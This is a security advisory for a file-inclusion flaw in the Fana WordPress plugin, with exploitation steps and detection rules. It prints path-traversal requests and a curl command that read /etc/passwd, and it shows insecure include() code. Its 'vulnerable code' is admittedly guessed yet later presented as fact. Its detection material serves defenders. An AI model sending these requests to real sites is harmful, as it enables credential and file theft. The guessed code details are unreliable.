CVE-2025-68539

Executive Summary

CVE-2025-68539 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the Fana WordPress plugin by Thembay, up to and including version 1.1.35. The vulnerability stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading /etc/passwd, WordPress configuration files (wp-config.php), or other system files. The CVSS score of 8.1 (High) reflects the ease of exploitation and the potential for significant data exposure. As a WordPress plugin vulnerability, it is critical to assess and mitigate within the WordPress ecosystem.

Supply Chain & Package Security

This vulnerability is specific to the Fana WordPress plugin, which is distributed via the WordPress plugin repository and third-party marketplaces. Since the patch status is unknown, users must consider the plugin as potentially abandoned or unmaintained. The lack of an official patch increases supply chain risk, as no fix is available from the vendor. Organizations using this plugin should treat it as a high-risk component and plan for immediate removal or replacement.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The threat level is High due to the low complexity and no authentication requirement. An attacker can exploit this remotely to read sensitive files, potentially leading to full WordPress admin access if wp-config.php is exposed.

Deep Dive & Mechanics

The vulnerability exists in the Fana plugin's PHP code, where a user-supplied parameter is used directly in a PHP include() or require() statement without proper sanitization or validation. This allows an attacker to manipulate the file path using path traversal sequences (e.g., ../../) to include files outside the intended directory.

Root Cause: The plugin fails to validate or sanitize the filename parameter before passing it to a PHP include function. This is a classic PHP Local File Inclusion (LFI) vulnerability, categorized under CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program).

Attack Vector: An unauthenticated HTTP request to a vulnerable endpoint, likely a shortcode or AJAX handler, with a crafted file parameter.

Example vulnerable URL pattern:

http://target.com/?page_id=123&file=../../../etc/passwd

The plugin's code might look like:

$file = $_GET['file'];
include($file . '.php');

This allows an attacker to read arbitrary files by using null byte injection or path traversal.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.1.35):

<?php
// Vulnerable: Direct use of user input in include
$file = $_GET['file'];
include( $file . '.php' );
?>

Patched Code (Hypothetical):

<?php
// Patched: Validate and restrict file path
$allowed_files = array('template1', 'template2');
$file = basename( $_GET['file'] );
if ( in_array( $file, $allowed_files ) ) {
    include( plugin_dir_path( __FILE__ ) . 'templates/' . $file . '.php' );
} else {
    // Handle error
    wp_die( 'Invalid file.' );
}
?>

Since no official patch is available, the above is a recommended mitigation approach.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running WordPress with Fana plugin <= 1.1.35
• No authentication required

Exploit Steps:

1. Identify a vulnerable endpoint (e.g., a page or shortcode that accepts a file parameter).
2. Craft a request to include a sensitive file:

   GET /?page_id=1&file=../../../etc/passwd HTTP/1.1
   Host: target.com
   

3. If the plugin appends .php, use a null byte or path truncation (older PHP versions) or try without extension:

   GET /?page_id=1&file=../../../etc/passwd%00 HTTP/1.1
   

4. Read the response for file contents.

Example using cURL:

curl -v "http://target.com/?page_id=1&file=../../../etc/passwd"

Expected Output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for path traversal patterns (e.g., ../, %2e%2e/, %00).
• Look for requests to WordPress pages with unexpected file parameters.
• Use WAF rules to block path traversal sequences.

Response:

1. Immediately isolate affected systems.
2. Review logs for indicators of compromise (IOCs).
3. Remove or disable the Fana plugin.
4. Rotate any credentials exposed (e.g., database passwords from wp-config.php).

Indicators of Compromise (IOCs)

• File Paths: /etc/passwd, /etc/shadow, /wp-config.php, /proc/self/environ
• URL Patterns: ?page_id=*&file=*, ?file=../../../*
• Log Entries: HTTP requests containing ../, %2e%2e, %00 in query parameters
• Network Traffic: Outbound connections from the web server to unknown IPs (if attacker uses RFI variant)

Detection Engineering

YARA Rule

rule CVE_2025_68539_Fana_LFI {
    meta:
        description = "Detects attempts to exploit CVE-2025-68539 in Fana WordPress plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68539"
    strings:
        $path_traversal = /(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c)/ nocase
        $file_param = "file=" nocase
        $sensitive_file = /(etc\/passwd|wp-config\.php|proc\/self\/environ)/ nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-68539 Fana WordPress Plugin LFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit PHP Local File Inclusion in Fana plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'file='
            - '../'
            - '%2e%2e%2f'
            - '%00'
    condition: selection
falsepositives:
    - Legitimate use of file parameters in other plugins
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-68539 Fana WordPress LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"file="; http_uri; content:"../"; distance:0; within:10; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the Fana plugin from all WordPress installations.
2. If removal is not possible, implement a Web Application Firewall (WAF) rule to block path traversal patterns.
3. Restrict file inclusion to a whitelist of allowed files via code modification (if you have access to the plugin code).

Long-term Mitigation:

• Replace the Fana plugin with an alternative that is actively maintained.
• Regularly audit all WordPress plugins for known vulnerabilities.
• Apply the principle of least privilege to the web server user.

Vendor Contact: Thembay has not released a patch. Consider reaching out to the vendor or community for updates.

Valters IT